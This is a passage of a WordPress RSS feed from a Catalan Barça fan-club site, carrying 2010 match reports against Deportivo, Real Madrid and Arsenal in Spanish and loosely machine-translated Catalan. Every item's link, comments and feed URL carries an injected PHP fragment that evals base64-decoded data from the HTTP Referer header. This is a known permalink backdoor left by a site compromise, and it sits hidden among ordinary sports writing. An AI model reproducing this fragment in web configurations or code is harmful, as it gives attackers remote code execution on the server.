<h1 style="MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman; font-size: large;">Con paso firme y seguro</span></h1>
<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman; font-size: large;">Xavi sentenció el clásico con dos pases de tiralíneas y anoche abrió el marcador ante el Depor con otra asistencia genial que Bojan, contagiado, transformó en gol con el exterior. Con Xavi de tiralíneas y el Barça dibujando su fútbol con escuadra y cartabón, el Depor poco o nada supo hacer. Sobre todo porque cuando parecía oponer resistencia al fútbol posicional de los de Guardiola, ahí estaba Messi para garabatear la pizarra con sus con-ducciones imposibles o Pedro para marcar un golazo desde casi el centro del campo tras una jugada de ataque iniciada por Valdés con un gran saque en largo. El efecto tiralíneas.</span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Xavi volvió a ejercer de tiralíneas y un pase suyo valió el primer gol, de Bojan </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">El Barça tiene la Liga ganada, aunque matemáticamente aún pueden perderla. Su solvente victoria en el Bernabéu demostró que es el mejor, pero para ser campeón aún tiene que demostrar que también es el más regular. No le falta razón a Guardiola cuando dice que la ventaja con el Madrid es ridícula, pues los blancos ya han demostrado que están capacitados para ganar los siete encuentros que le restan. Por eso Guardiola no se fía y su mensaje sigue siendo el mismo. Si se relajan, el Madrid les pillará. Lo ajustado del resultado de anoche le valió a los azulgrana para mantenerse alerta, aunque tampoco el Depor inquietó en exceso.</span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Por si al Barça le faltaban estímulos, a los gallegos no se les ocurrió otra cosa que vestir completamente de blanco. Como a los toros el rojo, al Barça le atrae lo blanco, de ahí que el Depor acabara siendo embestido. Un cuarto de hora aguantó el equipo de Lotina con su portería a cero. No sorprendió el planteamiento del vizcaíno, salvo que salió con los laterales cambiados -Manuel Pablo en la izquierda y Laure en la derecha-. Mientras, Guardiola insistió con la variante de Messi por detrás del punta, en ausencia de Ibra otra vez confiado a Bojan, y con Pedro y Jeffren abiertos a banda. Un entramado ofensivo cuyas cuerdas a modo de marioneta manejaba Xavi, el tiralíneas, bien secundado por Touré.<span style="mso-spacerun: yes">  </span></span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Pedro dio el primer aviso a Aranzubía con un tiro al palo, aunque el gol de Bojan no tardaría en llegar. El portero del Depor desbarató una ocasión de Jeffren a pase de Messi y una media chilena de Alves al larguero mereció ser el segundo. Pero no, el Barça no lograba trasladar al marcador su aplastante superioridad y el partido se mantuvo abierto hasta que Pedro lo cerró con un golazo.</span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">El Depor se ha diluido como un azucarillo en el agua con dos puntos de los 21 últimos. Guardiola, en su habitual estrategia de elogiar al rival para debilitarle, dijo que el Depor era un hueso. Sí, un hueso, pero de aceituna.</span></span></p>
<h4 style="MARGIN: 0cm 0cm 0pt"><span style="text-decoration: underline;"><span style="font-family: Times New Roman; font-size: large;">Ficha técnica</span></span></h4>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Barcelona: Valdés; Alves, Márquez, Piqué, Maxwell; Xavi (Sergio Busquets, m. 77 ), Touré; Pedro, Messi, Jeffren (Keita, m. 50); y Bojan (Henry, m. 74).</span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt"><span style="font-family: Times New Roman;">Deportivo: Aranzubía; Laure, Piscu, Lopo, Manuel Pablo; Antonio Tomás, Sergio (Iván Pérez, m. 84); Juan Rodríguez, Pablo Álvarez (Juan Domínguez, m. 53), Guardado; y Riki (Lassad, m. 70). </span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Goles</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: 1-0. M. 15. Pase profundo y preciso de Xavi a Bojan, que bate a Aranzubía con el exterior de la pierna derecha. 2-0. M. 68. Pedro aprovecha un mal despeje de Aranzubía para marcar con la izquierda casi desde el centro del campo. 3-0. M. 71. Touré, tras controlar posiblemente con el brazo, fusila a Aranzubía a la salida de un córner.</span></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify; MARGIN: 0cm 0cm 0pt"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Árbitro</span></span><span style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">: Paradas. Mostró tarjeta amarilla a Lopo, Pablo Álvarez y Manuel Pablo.</span></span></p>
<p><span style="text-decoration: underline;"><span style="font-family: 'Times New Roman'; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: &quot;Times New Roman&quot;; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">Camp Nou</span></span><span style="font-family: 'Times New Roman'; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: &quot;Times New Roman&quot;; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">: 78.897 espectadores.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/04/15/barca-3-0-depor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MADRID 0 - 2 BARÇA</title>
		<link>http://pbcalonge-stantoni.cat/2010/04/11/madrid-0-2-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/04/11/madrid-0-2-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 16:17:29 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=77</guid>
		<description><![CDATA[Va guanyar el millor equip, al més costós dels equips 
 
L&#8217;edèn va tornar a ser blaugrana en una nit ideal per a un Madrid-Barça, obra mestra de l&#8217;espectacle, cim de l&#8217;eco col.lectiu. Fresca, d&#8217;abril xulo, cel acabat polit (per la brillantor de les estrelles) i febre en el mediastí, aquest racó del plexe solar on [...]]]></description>
			<content:encoded><![CDATA[<h2 style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 18pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><em>Va guanyar el millor equip, al més costós dels equips</em> </span></h2>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"> </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">L&#8217;edèn va tornar a ser blaugrana en una nit ideal per a un Madrid-<em><strong>Barça</strong></em>, obra mestra de l&#8217;espectacle, cim de l&#8217;eco col.lectiu. Fresca, d&#8217;abril xulo, cel acabat polit (per la brillantor de les estrelles) i febre en el mediastí, aquest racó del plexe solar on s&#8217;acarnissen els tobogans i deixa anar les seves papallones la passió, en aquest cas la passió pels colors. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Fa un any va tornar Pérez amb el seu sac d&#8217;or, però la fallida del Madrid era moral. La despullar aquell 2-6: aquí va quedar al ras, glacial, lívida de ruïna anímica, l&#8217;ànima blanca. Dos símptomes van destapar la seva misèria. Un, el dels merengues que, aterrits per un duel a pit descobert, volien el forrellat davant Casillas, parc el valor, amagat el cor, i pidolar a l&#8217;atzar el que no arribava l&#8217;autoestima. L&#8217;altre, el dels merengues que van arribar a ànsia que Pérez deshonres seva gola mercantil comprant fruits de <em><strong>La Masia</strong></em>. Aquesta dimissió del seu orgull va donar la mesura de la rendició del Madrid, que va ofendre a l&#8217;antiga glòria de la seva pedrera escombraries amb la grollera temptació, bitllet a la mà, l&#8217;filó del major rival. Tot segueix igual. </span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Contra aquest sotmetiment exhibir Florentino seu moneder. I ahir es va veure de seguida que, si els diners no dóna la felicitat, si més no és excitant: el Madrid va sortir com un diapasó. Cada pas seu va ser una rampa. El futbol es eludia en aquesta descàrrega, però a canvi es electrocutada el joc del <em><strong>Barça</strong></em>, que va trigar a refer d&#8217;aquest arrencada. La pressió blanca, amb la defensa molt endavant, es va plantejar molt fera, un punt trastornada. El voltatge va oferir un corrent altern decebedora, ja que no calava ni la famosa enganxada del Madrid ni el cèlebre rondo blaugrana. El Madrid s&#8217;encomanava a algunes carreres de Cristiano a desafiament a Piqué, i el seu rival reculava amb cessions Valdés, confiat que el seu joc creixeria quan la vibració s&#8217;aquieta. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Així va ser. Enmig del confús espurneig va acabar aterrant Xavi sobre la seva zona creativa. Allò va tenir l&#8217;efecte de la pedra que cau a l&#8217;aigua i multiplica les ones en cercles concèntrics: el futbol del <em><strong>Barça</strong></em> es va expandir, ja serè. Les mirades estaven en Alves, alineat per sorpresa per Guardiola com a extrem dret, però el gest de complicitat del 0-1 va ser pel centre. Basta un reojazo de Xavi per traçar una paret perfecta. Messi va burlar a Albiol amb un control orientat amb el pit i al Bernabéu va quedar esgarrifat, mut, per aquest guió fatídic que contra tota precaució i panteix es complia inexorable. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">El Madrid, ansiós abans, va entrar consumit en el segon temps. Guardiola va canviar una mica els plans: Alves al lateral dret, Puyol al esquerre i Maxwell, després substituït per Iniesta, a la mitjana. El <em><strong>Barça</strong></em> va amenaçar saqueig quan Pere, llançat també per Xavi, li va guanyar l&#8217;esquena a Arbeloa i va marcar el 0-2. Un moment, van dir Van der Vaart i Cristià: això no ha acabat. Valdés, seguríssim, els va contestar amb dues parades i el Madrid va esgotar els seus arguments: ni Guti, ni Raúl, ni Benzema, ni la cara sofrent de CR, ni les últimes bocada d&#8217;alè de l&#8217;estadi. Casillas encara va haver de apagar dos llampecs de Messi, i Xavi va demostrar que qualsevol centre del camp del <em><strong>Barça</strong></em> és millor que qualsevol del Madrid i que amb això la Lliga, ja de pinta diàfana, repeteix magisteri blaugrana. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">El Bernabéu, com el seu equip buit de pilota i de futbol, va ser despoblant de madridisme. Després va caure la nit (ideal). Silenci. Res. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><strong>Real Madrid</strong>: Casillas; Ramos, Albiol, Garay, Arbeloa, Xabi Alonso, Gago, Marcelo (Guti, min. 56), Van der Vaart (Raúl, min. 69); Ronaldo i Higuaín (Benzema, min. 79). </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><em><strong>Barça</strong></em>: Valdés; Puyol, Piqué, Milito (Márquez, min. 79), Maxwell (Iniesta, min. 63); Alves, Busquets, Xavi, Kaita; Pere i Messi. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New'; mso-ansi-language: EN-GB;" lang="EN-GB">Gols: 0 - 1, Messi, min. 33. </span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">0-2, Pedro, min. 56. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="text-decoration: underline;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Àrbitre</span></span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">: Mejuto González (Col Asturià). Amonestar amb targeta groga a Xabi Alonso (min. 13), Albiol (min. 30), Ramos (min. 61), Garay (min. 84) per part del Reial Madrid ja Messi (min. 19), Xavi (min. 31), Alves (min. 38), Maxwell (min. 51) per part del FC Barça. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="text-decoration: underline;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Estadi</span></span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">: Santiago Bernabéu. 80. 354 espectadors.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><span style="mso-spacerun: yes;"> </span></span></p>
<h1 style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 20pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Real Madrid 0 - 2<span style="mso-spacerun: yes;">  </span>Barcelona </span></h1>
<h2 style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 18pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><em>Ganó el mejor equipo, al más costoso de los equipos</em> </span></h2>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"> </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">El edén volvió a ser azulgrana en una noche ideal para un Madrid-<em><strong>Barcelona</strong></em>, obra maestra del espectáculo, cumbre del eco colectivo. Fresca, de abril chulo, cielo recién pulido (para el brillo de las estrellas) y fiebre en el mediastino, ese rincón del plexo solar donde se ceban los toboganes y suelta sus mariposas la pasión, en este caso la pasión por los colores. </span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Hace un año volvió Pérez con su saco de oro, pero la bancarrota del Madrid era moral. La desnudó aquel 2-6: ahí quedó al raso, glacial, lívida de ruina anímica, el alma blanca. Dos síntomas destaparon su miseria. Uno, el de los merengues que, aterrados por un duelo a pecho descubierto, querían el cerrojo ante Casillas, parco el valor, agazapado el corazón, y mendigarle al azar lo que no alcanzaba la autoestima. El otro, el de los merengues que llegaron a ansiar que Pérez deshonrase su gula mercantil comprando frutos de <em><strong>La Masía</strong></em>. Esta dimisión de su orgullo dio la medida de la rendición del Madrid, que ofendió a la antigua gloria de su cantera basureándola con la grosera tentación, billete en mano, del filón del mayor rival. Todo sigue igual.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Contra este sometimiento exhibió Florentino su monedero. Y ayer se vio enseguida que, si el dinero no da la felicidad, al menos es excitante: el Madrid salió como un diapasón. Cada paso suyo fue un calambre. El fútbol se eludía en esa descarga, pero a cambio se electrocutaba el juego del <em><strong>Barcelona</strong></em>, que tardó en reponerse de ese arranque. La presión blanca, con la defensa muy adelante, se planteó muy fiera, un punto desquiciada. El voltaje ofreció una corriente alterna decepcionante, pues no prendía ni la famosa pegada del Madrid ni el célebre rondo azulgrana. El Madrid se encomendaba a algunas carreras de Cristiano en desafío a Piqué, y su rival reculaba con cesiones a Valdés, confiado en que su juego crecería cuando la vibración se aquietara.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Así fue. En medio del confuso chisporroteo acabó aterrizando Xavi sobre su zona creativa. Aquello tuvo el efecto de la piedra que cae en el agua y multiplica las ondas en círculos concéntricos: el fútbol del <em><strong>Barcelona</strong></em> se expandió, ya sereno. Las miradas estaban en Alves, alineado por sorpresa por Guardiola como extremo derecho, pero el guiño del 0-1 fue por el centro. Bastó un reojazo de Xavi para trazar una pared perfecta. Messi burló a Albiol con un control orientado con el pecho y el Bernabéu quedó espeluznado, mudo, por este guión fatídico que contra toda precaución y jadeo se cumplía inexorable.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">El Madrid, ansioso antes, entró consumido en el segundo tiempo. Guardiola cambió un poco los planos: Alves al lateral derecho, Puyol al izquierdo y Maxwell, luego sustituido por Iniesta, a la media. El <em><strong>Barcelona</strong></em> amenazó saqueo cuando Pedro, lanzado también por Xavi, le ganó la espalda a Arbeloa y marcó el 0-2. Un momento, dijeron Van der Vaart y Cristiano: esto no ha terminado. Valdés, segurísimo, les contestó con dos paradas y el Madrid agotó sus argumentos: ni Guti, ni Raúl, ni Benzema, ni la cara sufriente de CR, ni las últimas boqueadas de aliento del estadio. Casillas aún tuvo que apagar dos relámpagos de Messi; y Xavi demostró que cualquier centro del campo del <em><strong>Barcelona</strong></em> es mejor que cualquiera del Madrid y que con eso la Liga, ya se pinta diáfana, repite magisterio azulgrana.</span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">El Bernabéu, como su equipo vacío de balón y de fútbol, fue despoblándose de madridismo. Después cayó la noche (ideal). Silencio&#8230; Nada.</span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><strong>Real Madrid</strong>: Casillas; Ramos, Albiol, Garay, Arbeloa; Xabi Alonso, Gago, Marcelo (Guti, min. 56) , Van der Vaart (Raúl, min. 69); Ronaldo e Higuaín (Benzemá, min. 79). </span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';"><em><strong>Barcelona F. C</strong></em>.: Valdés; Puyol, Piqué, Milito (Márquez, min. 79), Maxwell (Iniesta, min. 63); Alves, Busquets, Xavi, Kaita; Pedro y Messi. </span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="text-decoration: underline;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Goles</span></span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">: 0 - 1, Messi, min. 33. 0 - 2, Pedro, min. 56. </span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="text-decoration: underline;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">Árbitro</span></span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New';">: Mejuto González (Col. Asturiano). Amonestó con tarjeta amarilla a Xabi Alonso (min. 13), Albiol (min. 30), Ramos (min. 61), Garay (min. 84) por parte del Real Madrid y a Messi (min. 19), Xavi (min. 31), Alves (min. 38), Maxwell (min. 51) por parte del FC Barcelona. </span></p>
<p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"><span style="text-decoration: underline;"><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">Estadio</span></span><span style="font-family: &quot;Arial Narrow&quot;; font-size: 16pt; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 'Courier New'; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">: Santiago Bernabéu. 80. 354 espectadores.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/04/11/madrid-0-2-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BARÇA 4 - 1 ARSENAL</title>
		<link>http://pbcalonge-stantoni.cat/2010/04/07/barca-4-1-arsenal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/04/07/barca-4-1-arsenal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 08:33:24 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=69</guid>
		<description><![CDATA[

CHAMPIONS: Messi porta al Barça enlaire cap a la final de Madrid amb un hat-trick, el quart de la temporada 
 
El Barça va haver tancar l&#8217;eliminatòria després de la seva exhibició a l&#8217;Emirates, però els blaugranas es apiadat de l&#8217;Arsenal i van deixar als gunners amb vida perquè Messi els rematés al Camp Nou. [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><a href="http://pbcalonge-stantoni.cat/wp-content/uploads/2010/04/lionel-messi-11-289x250.jpg"><img class="alignnone size-medium wp-image-70" title="lionel-messi-11-289x250" src="http://pbcalonge-stantoni.cat/wp-content/uploads/2010/04/lionel-messi-11-289x250.jpg" alt="" width="289" height="250" /></a></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;">
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><em><strong>CHAMPIONS: Messi porta al Barça enlaire cap a la final de Madrid amb un hat-trick, el quart de la temporada</strong></em> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">El <strong><em>Barça</em></strong> va haver tancar l&#8217;eliminatòria després de la seva exhibició a l&#8217;Emirates, però els blaugranas es apiadat de l&#8217;Arsenal i van deixar als gunners amb vida perquè Messi els rematés al Camp Nou. Si a Londres el 10 va estar amagat i al servei del lluïment col.lectiu, l&#8217;argentí va acaparar tot el protagonisme. N&#8217;hi va haver prou que l&#8217;Arsenal amenaçar amb incomodar la nit als blaugranas amb un gol de Bendtner perquè Messi agafés la pilota i iniciés ell solet la remuntada. Tres gols en vint minuts i un quart per a superar les seves tres &#8216;hat-trick&#8217; de la temporada. Aquí és res. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Com en els escacs les caselles centrals del tauler, per a <em><strong>Barça</strong></em> i Arsenal el centre de discussió el va tornar a acaparar la pilota. Wenger va plantejar el partit tal com havia anunciat. Intentant estrènyer el camp el <em><strong>Barça</strong></em>, acumulant molts jugadors a la zona de creació. Els anglesos deixaven sortir als centrals, però vigilaven de prop a Xavi i tapaven les línies de passada. Incapaç de discutir la possessió el <em><strong>Barça</strong></em>, l&#8217;Arsenal aviat es va refugiar en la pressió i la sortida ràpida pel que fa interceptava una pilota. Així va arribar el gol de Bendtner, a qui Valdés va poder aturar una vegada, però no en la segona. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 14pt; mso-ansi-language: ES;">Messi va necessitar només tres minuts per trobar una cabina i enfundar el vestit de superheroi. L&#8217;argentí es va treure del no res, i gairebé sense espai per engatillada, un xut amb l&#8217;esquerra que va restablir l&#8217;ordre. Messi començava a brillar, cosa que, sent bo per al <em><strong>Barça</strong></em>, no sempre és un bon símptoma per a l&#8217;equip de Guardiola. </span><span style="font-size: 14pt; mso-ansi-language: FR;" lang="FR">De fet l&#8217;Arsenal havia aconseguit portar el partit on més li interessava. Amb trànsit dens i un peatge les barreres només Messi semblava capacitat a saltar. </span><span style="font-size: 14pt; mso-ansi-language: ES;">I així va ser. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Com que Xavi no podia maniobrar amb comoditat, el 10 va assumir el seu paper i va iniciar una jugada que ell mateix es va encarregar de rematar a passada de Pere. Insaciable, Messi no va desaprofitar una assistència de Keita (amb el cap!) Per posar el turbo cap a la porteria d&#8217;Almunia i batre&#8217;l amb un toc que només està a l&#8217;alçada dels elegits. El tercer gol de Messi va desencadenar l&#8217;eufòria a les grades, que desenfundar el &#8220;<em>sí, sí, sí, ens anem a Madrid!</em>&#8220;. Això sí, ho va fer tímidament, potser perquè en la memòria dels aficionats estava encara massa recent que ha passat a Londres, on l&#8217;Arsenal ja va ser capaç de remuntar els dos gols d&#8217;Ibrahimovic. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Temporitzat per al dissabte</strong> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Tot i que, conscient o inconscientment, el <em><strong>Barça</strong></em> va començar a reservar el seu millor futbol per al clàssic de dissabte, els anglesos mai van donar la sensació de poder donar-li la volta al partit i, per extensió, a l&#8217;eliminatòria. Potser per la suma de tots dos condicionants, el ritme i la intensitat del joc va baixar considerablement a la segona part. Només en quart gol de Messi, amb el partit a punt de finalitzar, va tornar a posar al Camp Nou en peu, que, ara sí, va corejar amb ganes el &#8220;<em>Messi sí, sí, sí</em>&#8220;. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">El <em><strong>Barça</strong></em> està ja a un sol esglaó de la final del Bernabéu, tot i que en ell li espera l&#8217;Inter de Mourinho. Un rival incòmode i (sobretot) un tècnic que de ben segur no plantejarà una batalla com la de l&#8217;Arsenal, sinó un autèntica guerra de guerrilles. Els de Guardiola són millor equip i en cas de dubte sempre tenen Messi com a factor determinant. </span></span></p>
